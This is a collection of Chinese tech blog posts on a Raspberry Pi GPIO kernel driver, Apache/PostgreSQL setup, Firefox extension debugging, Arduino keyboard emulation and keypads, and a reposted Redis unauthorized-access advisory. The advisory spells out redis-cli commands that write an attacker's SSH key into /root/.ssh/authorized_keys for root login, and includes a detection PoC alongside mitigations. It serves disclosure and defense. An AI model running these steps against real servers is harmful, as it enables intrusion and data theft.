` ``device_destroy(pi_led_class,pi_led_devno);` ` ``class_destroy(pi_led_class);` ` ``cdev_del(&pi_led_class_dev);` ` ``unregister_chrdev_region(pi_led_devno, ``1``);` ` ``printk(``"pi led exit ok!\n"``);` `}` `module_init(pi_led_init);` `module_exit(pi_led_exit);` `MODULE_DESCRIPTION(``"Rasp Led Driver"``);` `MODULE_AUTHOR(``"Embbnux Ji < http://blog.csdn.net/embbnux >"``);` `MODULE_LICENSE(``"GPL"``);` ---|--- **二 源码框架分析** 我们首先从内核模块的入口,module_init(pi_led_init)这个函数看起,可以看出初始化后调用pi_led_init这个函数. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | `//内核加载后的初始化函数.` `static` `int __init pi_led_init(void)` `{` ` ``struct device *dev;` ` ``int major; //自动分配主设备号` ` ``major = alloc_chrdev_region(&pi_led_devno,``0``,``1``,DRIVER_NAME);` ` ``//register_chrdev 注册字符设备使系统知道有LED这个模块在.` ` ``cdev_init(&pi_led_class_dev, &pi_led_dev_fops);` ` ``major = cdev_add(&pi_led_class_dev,pi_led_devno,``1``);` ` ``//注册class` ` ``pi_led_class = class_create(THIS_MODULE,DRIVER_NAME);` ` ``dev = device_create(pi_led_class ,NULL,pi_led_devno,NULL,DRIVER_NAME);` ` ``gpiochip = gpiochip_find(``"bcm2708_gpio"``, is_right_chip);` ` ``gpiochip->direction_output(gpiochip, led_pin, ``1``);` ` ``gpiochip->set(gpiochip, led_pin, ``0``);` ` ``printk(``"pi led init ok!\n"``);` ` ``return ``0``;` `}` ---|--- 初始化时首先分配给这个函数设备号,注册该设备,通过class注册使能够在/dev/目录下自动生成相应的设备文件,用户通过操作这个文件,来告诉内核怎么做. 由于是字符设备,所以对该文件的操作通过open,write,ioctl等函数,所以要把这个函数和底层的操作函数对应起来,这就要用到file_operation这个结构体,来声明: 1 2 3 4 5 6 7 8 | `//file_operations使系统的open,ioctl等函数指针指向我们所写的led_open等函数,` `//这样系统才能够调用` `static` `struct file_operations pi_led_dev_fops = {` ` ``.owner =THIS_MODULE,` ` ``.open =pi_led_open,` ` ``.unlocked_ioctl = pi_led_ioctl,` ` ``.release = pi_led_release,` `};` ---|--- 这里就让open函数对应到pi_led_open函数,ioctl函数对应到pi_led_ioctl函数; 然后我们就只需要编写相应的pi_led_open以及pi_led_ioctl;这些函数里面的操作就是最底层的GPIO操作,和单片机是一样的. **三 GPIO操作** 内核里面的GPIO操作函数,被定义在#include ,这个头文件里面,树莓派官方做好了树莓派的GPIO在内核里面的注册,所以调用gpio.h里面的函数即可进行树莓派的GPIO操作. 1 | `gpiochip = gpiochip_find(``"bcm2708_gpio"``, is_right_chip);` ---|--- 通过上面这个函数把内核的GPIO操作和BCM2708的GPIO操作关联起来; bcm2708的操作可以查看/arch/arm/mach-bcm2708/bcm2708_gpio.c文件,具体也是对内存地址的操作: 1 2 3 4 5 6 7 8 9 10 11 12 13 | `#def``ine GPIOFSEL(x) (``0``x``00``+(x)*``4``)` `#def``ine GPIOSET(x) (``0``x``1``c+(x)*``4``)` `#def``ine GPIOCLR(x) (``0``x``28``+(x)*``4``)` `#def``ine GPIOLEV(x) (``0``x``34``+(x)*``4``)` `#def``ine GPIOEDS(x) (``0``x``40``+(x)*``4``)` `#def``ine GPIOREN(x) (``0``x``4``c+(x)*``4``)` `#def``ine GPIOFEN(x) (``0``x``58``+(x)*``4``)` `#def``ine GPIOHEN(x) (``0``x``64``+(x)*``4``)` `#def``ine GPIOLEN(x) (``0``x``70``+(x)*``4``)` `#def``ine GPIOAREN(x) (``0``x``7``c+(x)*``4``)` `#def``ine GPIOAFEN(x) (``0``x``88``+(x)*``4``)` `#def``ine GPIOUD(x) (``0``x``94``+(x)*``4``)` `#def``ine GPIOUDCLK(x) (``0``x``98``+(x)*``4``)` ---|--- 这里定义的就是相应的GPIO寄存器的地址. **四 测试程序** ssh进入树莓派,在主目录下新建led.c 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | `#include` ` ``#include ` ` ``#include ` ` ``#include ` ` ``#include ` ` ``int main(int argc, char **argv)` ` ``{` ` ``int on;` ` ``int led_no;` ` ``int fd;` ` ``int i;` `fd = open(``"/dev/pi_led"``, ``0``);` ` ``if (fd < ``0``) {` ` ``fd = open(``"/dev/pi_led"``, ``0``);` ` ``}` ` ``if (fd < ``0``) {` ` ``perror(``"open device led"``);` ` ``exit(``1``);` ` ``}` `for(i=``0``;i<=``20``;i++){` `on = i%``2``;` `ioctl(fd, on, led_no);` `sleep(``1``);` `}` `close(fd);` `return ``0``;` `}` ---|--- [![Center](https://web.archive.org/web/2/https://blog.wo.ai/wp-content/uploads/2015/11/Center1-300x169.)](/wp-content/uploads/2015/11/Center1) --- ## 加载postgres模块后apache无法启动 Date: 2015-11-14 URL: https://blog.wo.ai/archives/1076 Categories: Technology 想在本地搭建一个PostgreSQL的运行环境,完成之后,始终在apache/php环境无法加载postgresql模块。启动的时候无法加载libpq.dll,将postgresql的libpq拷贝到php目录无效,拷贝到windows目录无效,拷贝到windows\system32目录也无效,只好在网上找解决方法。搜到以下方法: refering to the libpq.dll that comes bundled with PHP, like this: LoadFile “C:/php/libpq.dll” (原文地址:http://stackoverflow.com/questions/551734/php-not-loading-php-pgsql-dll-on-windows) 在http.conf文件中增加这一行,完美解决。其实这个答案之前有混淆的问题,比如加载pg目录的libpq.dll,似乎无效,只能用php目录里面自带的libpq.dll。 --- ## Firefox 调试 插件/扩展 Date: 2015-11-13 URL: https://blog.wo.ai/archives/1074 Categories: Technology 在一个项目中要开发一个firefox的扩展,结果一直没找到好的调试方法,痛苦的要命。之前在网上找到用chromebug,试了很多次都没有成功,只好在代码里面用代码打印到控制台。 项目已经过去了很久,最近需要修改点代码,重新遇到调试的问题,在网上又搜了一遍,找到了一个方法,测试了一下,居然可以设置断点调试了,可喜可贺。 方法就是修改firefox的设置,在地址栏输入about:config,然后允许chrome调试和远程调试: devtools.chrome.enable => true devtools.debugger.remote-enable => true 然后在firefox里**Tools > Web Developer** > **Browser Console**.,打开调试窗口,里面有个debugger,这里就可以开始了。 以下是原文和地址 http://stackoverflow.com/questions/17547364/how-to-debug-a-firefox-extension-with-chromebug/17579253#17579253 **Update April 2014: The browser debugger is now integrated in the “Browser Toolbox” and you no longer need to set about:config prefs. Just use the developer tools configuration/settings panel: “enable chrome debugging” and “enable remote debugging”. The “Browser Toolbox” will then be available in the developer tools panel.** Chromebug has not worked for me for many months. I think it’s just been silently abandoned but thankfully on Firefox 19 or later, it’s possible to use the built-in JS debugger on the browser itself. Go to about:config and set the following two prefs: devtools.chrome.enabled: true devtools.debugger.remote-enabled: true After you restart the browser, the Web Developer menu will contain a “Browser Debugger” entry. More info here: If possible, I’d suggest using Aurora for your debugging because the built-in debugger was a little limited when first launched and keeps getting better with every release. --- ## Redis 未授权访问缺陷可轻易导致系统被黑 Date: 2015-11-13 URL: https://blog.wo.ai/archives/1073 Categories: Uncategorized Sebug 公布了 Redis 未授权访问缺陷的详细漏洞信息,这个 Redis 未授权访问缺陷可轻易导致系统被黑。详细内容请看下文: ### 漏洞概要 Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。 ## 漏洞概述 Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。 ### 漏洞描述 Redis 安全模型的观念是: “请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的” 。 Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。 因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因,部分Redis绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,将会导致Redis服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。 利用Redis自身的相关方法,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。 ### 漏洞影响 Redis 暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。 通过ZoomEye 的搜索结果显示,有97700在公网可以直接访问的Redis服务。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/765497787f_a5a56b94ab266bd7e198ccad3002237c.png) > 根据 ZoomEye 最新于2015年11月12日0点探测结果显示: > > 总的存在无验证可直接利用 Redis 服务的目标全球有49099,其中中国有16477。其中被明着写入crackit的,也就是已经被黑的比例分别是全球65%(3.1万),中国67.5%(1.1万)。 ### 1.1. 漏洞分析与利用 首先在本地生产公私钥文件: $ssh-keygen –t rsa ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/765497787f_e62c43907e64a3f6b126944b0c5ee7d7.png) 然后将公钥写入foo.txt文件 $ (echo -e "nn"; cat id_rsa.pub; echo -e "nn") > foo.txt 再连接Redis写入文件 $ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit $ redis-cli -h 192.168.1.11 $ 192.168.1.11:6379> config set dir /Users/antirez/.ssh/OK $ 192.168.1.11:6379> config get dir1) "dir"2) "/root/.ssh" $ 192.168.1.11:6379> config set dbfilename "authorized_keys"OK $ 192.168.1.11:6379> saveOK ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/765497787f_3d7f9ddc1765b8d7aa31b532a2ea6289.png) 这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件里,然后攻击者直接执行: $ ssh –i  id_rsa root@192.168.1.11 即可远程利用自己的私钥登录该服务器。 当然,写入的目录不限于/root/.ssh 下的authorized_keys,也可以写入用户目录,不过Redis很多以root权限运行,所以写入root目录下,可以跳过猜用户的步骤。 ## Redis 未授权的其他危害与利用 ### 数据库数据泄露 Redis 作为数据库,保存着各种各样的数据,如果存在未授权访问的情况,将会导致数据的泄露,其中包含保存的用户信息等![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/12b917a642_237734b7f6faee4c6cbbe71f08cee80d.png) ### 代码执行 Redis可以嵌套Lua脚本的特性将会导致代码执行, 危害同其他服务器端的代码执行, 样例如下 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/12b917a642_488f7a69cbd03c4c3b515cad07249ac4.png) 一旦攻击者能够在服务器端执行任意代码, 攻击方式将会变得多且复杂, 这是非常危险的. 通过Lua代码攻击者可以调用 redis.sha1hex() 函数,恶意利用 Redis 服务器进行 SHA-1 的破解。 ### 敏感信息泄露 通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/12b917a642_719adde3a326f3961e6a8c2abb28d073.png) 可以看到泄露了很多 Redis 服务器的信息, 有当前 Redis 版本, 内存运行状态, 服务端个数等等敏感信息。 ### 全球无验证可直接利用 Redis 分布情况 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/12b917a642_ede18fcda4ad80aa28976d9dd3cb662a.jpg) ### 全球无验证可直接利用 Redis TOP 10 国家与地区 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/12b917a642_3283efdbb2022ebe88aba3fc02d611e8.jpg) ### 漏洞 PoC #!/usr/bin/env python # -*- coding:utf-8 -*- import socket import urlparse from pocsuite.poc import POCBase, Output from pocsuite.utils import register class TestPOC(POCBase):     vulID = '89339'     version = '1'     author = ['Anonymous']     vulDate = '2015-10-26'     createDate = '2015-10-26'     updateDate = '2015-10-26'     references = ['http://sebug.net/vuldb/ssvid-89339']     name = 'Redis 未授权访问 PoC'     appPowerLink = 'http://redis.io/'     appName = 'Redis'     appVersion = 'All'     vulType = 'Unauthorized access'     desc = '''         redis 默认不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。     '''     samples = ['']     def _verify(self):         result = {}         payload = 'x2ax31x0dx0ax24x34x0dx0ax69x6ex66x6fx0dx0a'         s = socket.socket()         socket.setdefaulttimeout(10)         try:             host = urlparse.urlparse(self.url).netloc             port = 6379             s.connect((host, port))             s.send(payload)             recvdata = s.recv(1024)             if recvdata and 'redis_version' in recvdata:                 result['VerifyInfo'] = {}                 result['VerifyInfo']['URL'] = self.url                 result['VerifyInfo']['Port'] = port         except:             pass         s.close()         return self.parse_attack(result)     def _attack(self):         return self._verify()     def parse_attack(self, result):         output = Output(self)         if result:             output.success(result)         else:             output.fail('Internet nothing returned')         return output register(TestPOC) ### 解决方案 **临时解决方案** 1. 配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379. 2. 配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中. 3. 配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度 4. 好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config **官方解决方案** 暂无官方解决方案 **推荐防护方案** 暂无防护方案 ### 相关文章 * [10 个 Redis 建议/技巧](http://blog.jobbole.com/88170/) * [SQL SERVER中什么情况会导致索引查找变成索引扫描](http://blog.jobbole.com/91002/) * [Redis 3.0.0正式版发布,全新的分布式高可用数据库](http://blog.jobbole.com/86212/) * [Redis 与网络流量整形](http://blog.jobbole.com/88064/) * [Redis 的 5 个常见使用场景](http://blog.jobbole.com/88383/) * [懒 Redis 是更好的 Redis](http://blog.jobbole.com/92301/) * [Redis cluster 的使用经验](http://blog.jobbole.com/86543/) * [向优秀代码学习:Redis 源码概览](http://blog.jobbole.com/50837/) * [短网址开发运维经验总结分享](http://blog.jobbole.com/47646/) * [在整个互联网中,成人网站有多大?](http://blog.jobbole.com/12479/) [Redis 未授权访问缺陷可轻易导致系统被黑](http://blog.jobbole.com/94518/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## Arduino学习笔记A11 – Arduino模拟电脑键盘(基于AVR-USB的USB-HID设备) [转] Date: 2015-11-09 URL: https://blog.wo.ai/archives/1060 Categories: Technology Arduino模拟电脑键盘(基于AVR-USB的USB-HID设备) 关于此帖子的其他讨论,还可以看看 键盘作为经典的输入设备,使用在很多互动中都有特别的优势,比如我们可以通过键盘直接给flash传递按键事件。而无需通过串口之类的特殊接口,虽然我们可以拆一个传统的键盘,然后将里面的按键引出来,但是这样有一个缺点,就是键值不能动态改变并且不能一次多键。使用模拟键盘的话,我们就可以随意在程序设置按键的时间和键值。比如本文的例子就是按下一个按键,模拟键盘就在电脑输入“HELLO WORLD”。 硬件部分: 材料清单: Arduino x1 68Ω电阻 x2 (没有68Ω的话,用50~100Ω电阻也行) 2.2kΩ电阻 x1 (没有2.2kΩ的话,用1.5k~2.2k电阻也行) USB连接线(一端是USB口,另一端是电线) x1 3.6v 稳压管(建议选用功耗0.25~0.5w的)x2 [![194146uld4tdhd1b111w9d](/wp-content/uploads/2015/11/194146uld4tdhd1b111w9d-300x149.jpg)](/wp-content/uploads/2015/11/194146uld4tdhd1b111w9d.jpg)[![1942021gy6n1v41yne26ia](/wp-content/uploads/2015/11/1942021gy6n1v41yne26ia-300x169.jpg)](/wp-content/uploads/2015/11/1942021gy6n1v41yne26ia.jpg) 电路原理图: [![120616mer6qi8i8smt5qs6](/wp-content/uploads/2015/11/120616mer6qi8i8smt5qs6-300x203.gif)](/wp-content/uploads/2015/11/120616mer6qi8i8smt5qs6.gif) 电路图解说: 1、两个68Ω的电阻起到限流和保护作用,防止在意外情况下损坏计算机的USB端口或单片机的端口。 2、2.2kΩ电阻是上拉电阻,用于分辨总线状态。如果上拉电阻接于D+和+5v端则是高速USB设备,接于D-与+5v端,则是低速设备。此处键盘传输速率不高,接到D-作为低速设备即可。 3、D+和D-上的3.6V稳压二极管D1和D2起到限制数据线上的电平的作用。因为在USB规范中规定数据线D+和D-上的电平范围是3.0V至3.6V,而AVR单片机的输出电平是Vcc。如果单片机的Vcc是5V,在没有D1和D2的情况下将造成电平不匹配,会造成在很多计算机中无法正确识别出USB设备。如果用户系统的Vcc在3.0V至3.6V之间,就可以省略这两个稳压二极管。从这里也可以看出用户系统的Vcc必须高于3V。 4、由于低速AVRUSB所需要的是1.5MHz时钟,而单片机每8条指令就能精确完成一个数据位的采集。所以AVRUSB最小单片机时钟频率是12MHz。并且可以使用的时钟频率有12MHz、12.8MHz、15MHz、16MHz、16.5MHz、20MHz,其他的不支持。所以如果使用最小系统制作此模拟键盘的话8MHz的话,ATMega8L不能用。 ———————— 软件部分: Arduino支持库文件: [http://soft1.wmzhe.com/download/ … ino/UsbKeyboard.zip](http://soft1.wmzhe.com/download/Ansifa2012/Arduino/UsbKeyboard.zip) ![](http://www.geek-workshop.com/static/image/filetype/zip.gif) [UsbKeyboard.zip](http://www.geek-workshop.com/forum.php?mod=attachment&aid=OTcwMHw3OGFmN2IxNnwxNDQ2OTk2NzU5fDB8MTEzNw%3D%3D) _(112.45 KB, 下载次数: 1421)_ 文件下载后解压到arduino编译器的libraries文件夹下面。 > 注意: 1、UsbKeyboard库中,usbconfig.h里面可以更改USB接线的引脚定义,下面给出一个大概解释(下面的PORTD是指AVR单片机的PORTD,要查询[**Arduino原理图**](http://arduino.cc/en/uploads/Main/Arduino_Uno_Rev3-schematic.pdf)才能得到是Arduino的哪个引脚): | #define USB_CFG_IOPORTNAME D | USB输入输出引脚使用AVR单片机的PORTD,如果改成B就是使用PORTB > ---|--- > #define USB_CFG_DMINUS_BIT 4 | USB的D-接PORTD的第四位PD4,对应Arduino D4 > #define USB_CFG_DPLUS_BIT 2 | USB的D+接PORTD的第二位PD2,对应Arduino D2 > #define USB_CFG_PULLUP_IOPORTNAME D | USB上拉引脚使用AVR单片机的PORTD,如果改成B就是使用PORTB > #define USB_CFG_PULLUP_BIT 5 | USB的上拉电阻接PORTD的第五位PD5,对应Arduino D5 > > 2、在UsbKeyboard库的UsbKeyboard.h里面,有关于模拟键值的表 > #define KEY_A 4 > #define KEY_B 5 > #define KEY_C 6 > #define KEY_D 7 > #define KEY_E 8 > 等。但不齐全。经过测试,其实这个键盘基本可以模拟几乎所有键值(Power,Sleep,Pause似乎不能)。 > 比如方向键右左下上分别对应79,80,81,82数字。即写成 > UsbKeyboard.sendKeyStroke(79); > UsbKeyboard.sendKeyStroke(81); > 等。由于整理比较麻烦,大家可以自己下载个KeyboardTest软件测试不同数字下面的键值。 程序示例: 下面的例子演示了用Arduino虚拟键盘的应用例子。打开记事本,然后将Arduino的D12引脚和GND连起来,就会打印HELLO WORLD字样。 ARDUINO 代码复制[打印](http://www.geek-workshop.com/plugin.php?id=dsu_xm_codehighlight:main&pid=7692&action=print&codeid=0) 1. /* 2. Arduino模拟键盘 by Ansifa 3. 2012.6.8 4. 5. 功能描述:插上此模拟键盘,打开记事本,然后按下按钮,即可在记事本打印出HELLO WORLD字样 6. 7. 接线方法: 8. ”” 9. Arduino D2接68Ω电阻后,接USB线D+ 10. Arduino D4接68Ω电阻后,接USB线D- 11. Arduino D5接2.2kΩ电阻后,接USB线D- 12. Arduino D2接3.6v稳压管到GND 13. Arduino D4接3.6v稳压管到GND 14. +5v接USB线VCC 15. GND接USB线GND 16. Arduino D1接一个开关到GND 17. 18. 附:USB线序颜色(由于各生产厂不同,不一定准确,仅供参考) 19. *USB键鼠: | *USB接口 20. 白<->VCC | 红<->VCC 21. 橙<->D- | 白<->D- 22. 绿<->D+ | 绿<->D+ 23. 蓝<->GND | 黑<->GND 24. 25. */ 26. 27. #include “UsbKeyboard.h” 28. int KEYPIN = 1; //按键接在D1引脚,也可以改成任何引脚 29. void setup() 30. { 31. TIMSK0 &= !(1 << TOIE0); // 32. pinMode(KEYPIN, INPUT); 33. digitalWrite(KEYPIN, HIGH); 34. } 35. void loop() 36. { 37. UsbKeyboard.update(); 38. if(digitalRead(KEYPIN) == HIGH) 39. { 40. delay(100); 41. if(digitalRead(KEYPIN) == LOW) 42. { 43. UsbKeyboard.sendKeyStroke(KEY_H); 44. UsbKeyboard.sendKeyStroke(KEY_E); 45. UsbKeyboard.sendKeyStroke(KEY_L); 46. UsbKeyboard.sendKeyStroke(KEY_L); 47. UsbKeyboard.sendKeyStroke(KEY_O); 48. UsbKeyboard.sendKeyStroke(KEY_SPACE); 49. UsbKeyboard.sendKeyStroke(KEY_W); 50. UsbKeyboard.sendKeyStroke(KEY_O); 51. UsbKeyboard.sendKeyStroke(KEY_R); 52. UsbKeyboard.sendKeyStroke(KEY_L); 53. UsbKeyboard.sendKeyStroke(KEY_D); 54. UsbKeyboard.sendKeyStroke(KEY_ENTER); 55. } 56. } 57. } 注意,先插上Arduino数据线,将程序写入Arduino。然后拔掉数据线,将模拟键盘USB线接到电脑,即可使用。 下面随便点实物图 刚焊好的正反面 [![194204xv880393zvisyxn3](/wp-content/uploads/2015/11/194204xv880393zvisyxn3-300x209.jpg)](/wp-content/uploads/2015/11/194204xv880393zvisyxn3.jpg)[![2154270440zvdpvvocmaqc](/wp-content/uploads/2015/11/2154270440zvdpvvocmaqc-300x171.jpg)](/wp-content/uploads/2015/11/2154270440zvdpvvocmaqc.jpg) 插数据线写程序进Arduino: [![1941595x18zxgzaan1fgk5](/wp-content/uploads/2015/11/1941595x18zxgzaan1fgk5-300x169.jpg)](/wp-content/uploads/2015/11/1941595x18zxgzaan1fgk5.jpg) 转自http://www.geek-workshop.com/thread-1137-1-1.html, 版权归原作者所有 --- ## Arduino读取键盘[转载] Date: 2015-11-09 URL: https://blog.wo.ai/archives/1047 Categories: Technology ## Arduino读取键盘 [![Arduino_and_Keypad](/wp-content/uploads/2015/11/Arduino_and_Keypad-300x78.jpg)](/wp-content/uploads/2015/11/Arduino_and_Keypad.jpg) 这里提供两种方式从Arduino读取键盘。第一种方式是使用矩阵式(Matrix)键盘,另一种方式是使用PS2键盘。 **矩阵键盘(Matrix keypad)** 首先必须安装Arduino Keypad键盘库(Keypad library),Arduino Keypad键盘库可以从[Arduino Playground](http://playground.arduino.cc//Code/Keypad)下载。Arduino Keypad键盘库让你读取矩阵式键盘而不用编写复杂的代码,此键盘库可以读取3×4, 4×4以及各种矩阵结构的键盘。 **使用Arduino Keypad键盘库注意事项** * 该键盘库是属于无阻塞式,按下谋键不放,其余(接下来)的代码还是会继续运行 * 如果编写控制键盘处运用到delay(),这将造成键盘反应迟顿 * 按下谋键,getKey()只返回一个键值,而不是自动重复。松开按键时,可以追踪其RELEASED event **安装Arduino Keypad键盘库** * [下载](http://playground.arduino.cc/uploads/Code/keypad.zip)Arduino Keypad键盘库 * 将下载了的文件(keypad.zip)解压至Arduino软件的libraries文件夹,如图 [![Arduino_keypad_library](/wp-content/uploads/2015/11/Arduino_keypad_library-300x122.jpg)](/wp-content/uploads/2015/11/Arduino_keypad_library.jpg) * 打开Arduino软件 * 选择File>Examples>Keypad,将会看见以下画面,表示Arduino Keypad键盘库安装成功 [![Arduino_keypad_examples](/wp-content/uploads/2015/11/Arduino_keypad_examples-246x300.jpg)](/wp-content/uploads/2015/11/Arduino_keypad_examples.jpg) **4×4矩阵keypad示范** 根据下面接线连接键盘至Arduino [![4x4_matrix_membrane_keypad_pinout](/wp-content/uploads/2015/11/4x4_matrix_membrane_keypad_pinout-300x147.jpg)](/wp-content/uploads/2015/11/4x4_matrix_membrane_keypad_pinout.jpg) **Arduino** | **4×4 Keypad** ---|--- D2 | 1 D3 | 2 D4 | 3 D5 | 4 D6 | 5 D7 | 6 D8 | 7 D9 | 8 上载以下代码至Arduino #include const byte ROWS = 4; // Four rows const byte COLS = 4; // Four columns //Define the keymap char keys[ROWS][COLS] = { {‘1′,’2′,’3′,’A’}, {‘4′,’5′,’6′,’B’}, {‘7′,’8′,’9′,’C’}, {‘*’,’0′,’#’,’D’} }; //// Connect keypad ROW0, ROW1, ROW2 and ROW3 to these Arduino pins. byte rowPins[ROWS] = {6,7,8,9}; // Connect keypad COL0, COL1, COL2 and COL3 to these Arduino pins. byte colPins[COLS] = {2,3,4,5}; //connect to column pinouts // Create the Keypad Keypad keypad = Keypad( makeKeymap(keys), rowPins, colPins, ROWS, COLS ); void setup(){ Serial.begin(9600); } void loop(){ char key = keypad.getKey(); if (key != NO_KEY){ Serial.println(key); } } --- 使用Arduino软件自带的串口监视器(Serial Monitor)来测试此程序(Baud rate必须设成9600)。当按下谋键时,其返回值将显示在串口监视器。 * * * **PS2键盘** 首先必须安装Arduino PS2键盘库(PS2keyboard library),Arduino PS2键盘库可以从[这里下载](http://www.pjrc.com/teensy/td_libs_PS2Keyboard.html)。 **安装Arduino PS2键盘库** * [下载](http://www.pjrc.com/teensy/arduino_libraries/PS2Keyboard.zip)Arduino PS2键盘库 * 将下载了的文件(PS2keyboard.zip)解压至Arduino软件的libraries文件夹 * 安装方法与安装keypad相似,请参考之。 ******** ****PS2键盘** 示范** 根据下面接线连接键盘至Arduino [![PS2_keyboarad_pinout](/wp-content/uploads/2015/11/PS2_keyboarad_pinout-300x74.jpg)](/wp-content/uploads/2015/11/PS2_keyboarad_pinout.jpg) **Keyboard** | **Arduino** ---|--- 4 (+5V) | 5V 3 (GND) | GND 5 (Clock) | Digital Pin 3 1 (Datak) | Digital Pin 4 上载以下代码至Arduino #include const int DataPin = 8; const int IRQpin = 5; PS2Keyboard keyboard; void setup() { delay(1000); keyboard.begin(DataPin, IRQpin); Serial.begin(9600); Serial.println(“Keyboard Test:”); } void loop() { if (keyboard.available()) { char c = keyboard.read(); // read the next key // check for some of the special keys if (c == PS2_ENTER) { Serial.println(); } else if (c == PS2_TAB) { Serial.print(“[Tab]”); } else if (c == PS2_ESC) { Serial.print(“[ESC]”); } else if (c == PS2_PAGEDOWN) { Serial.print(“[PgDn]”); } else if (c == PS2_PAGEUP) { Serial.print(“[PgUp]”); } else if (c == PS2_LEFTARROW) { Serial.print(“[Left]”); } else if (c == PS2_RIGHTARROW) { Serial.print(“[Right]”); } else if (c == PS2_UPARROW) { Serial.print(“[Up]”); } else if (c == PS2_DOWNARROW) { Serial.print(“[Down]”); } else if (c == PS2_DELETE) { Serial.print(“[Del]”); } else { Serial.print(c); // otherwise, just print all normal characters } } } --- 使用Arduino软件自带的串口监视器(Serial Monitor)来测试此程序(Baud rate必须设成9600)。当按下谋键时,其返回值将显示在串口监视器。 * * * **增加按键音效** 按照下面图象连接PC扬声器(此PC扬声器可以从废棄的电脑主板拆岀来),然後稍微更改代码。由于没有此PC扬声器的规格说明,估计供电5V且功率非常小,能够直接由Arduino驱动。如果不放心,可以在Aruino pin10与扬声器之间添加一个100欧姆电阻器。 [![Connecting_PC_speaker_to_Arduino](/wp-content/uploads/2015/11/Connecting_PC_speaker_to_Arduino-300x222.jpg)](/wp-content/uploads/2015/11/Connecting_PC_speaker_to_Arduino.jpg) 代码方面使用了tone()函数,具体可以浏览Arduino Reference网站 tone()用法 * tone(pin, frequency) * tone(pin, frequency, duration) 1. pin是连接扬声器的引脚 2. frequency是输出频率,频率越低,音频就越低。 3. duration音频输出持续时间 1. #include 2. const byte ROWS = 4; // Four rows 3. const byte COLS = 4; // Four columns 4. 5. //Define the keymap 6. char keys[ROWS][COLS] = { 7. {‘1′,’2′,’3′,’A’}, 8. {‘4′,’5′,’6′,’B’}, 9. {‘7′,’8′,’9′,’C’}, 10. {‘*’,’0′,’#’,’D’} 11. }; 12. 13. //// Connect keypad ROW0, ROW1, ROW2 and ROW3 to these Arduino pins. 14. byte rowPins[ROWS] = {6,7,8,9}; 15. 16. // Connect keypad COL0, COL1, COL2 and COL3 to these Arduino pins. 17. byte colPins[COLS] = {2,3,4,5}; //connect to column pinouts 18. 19. // Create the Keypad 20. Keypad keypad = Keypad( makeKeymap(keys), rowPins, colPins, ROWS, COLS ); 21. 22. void setup(){ 23. Serial.begin(9600); 24. } 25. 26. void loop(){ 27. char key = keypad.getKey(); 28. if (key != NO_KEY){ 29. delay(50); //act as debounce 30. beep(); 31. Serial.println(key); 32. } 33. } 34. 35. #define SPEAKER_PIN 10 36. void beep(){ 37. tone(SPEAKER_PIN,2000,90); 38. delay(20); 39. noTone(SPEAKER_PIN); 40. } 转自 http://ediy.com.my/index.php/2012-10-21-15-15-03/2013-04-14-05-06-50/item/65-arduino%E8%AF%BB%E5%8F%96%E9%94%AE%E7%9B%98 --- ## 恶意代码清除实战 Date: 2015-11-05 URL: https://blog.wo.ai/archives/1045 Categories: Uncategorized ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ddbaa14a8d_8aef0dd3jw1expvztbxw5j209d09r407.jpg) 恶意代码清除实战 什么是恶意代码,指令集?是二进制可执行指令?还是脚本语言?字处理宏语言?其他指令集等等……以常见的类型举例,那么如果一台服务器存在恶意代码,windows系列机器的恶意代码一般指的是病毒,蠕虫,木马后门,linux系统机器恶意代码一般就是Rootkit。 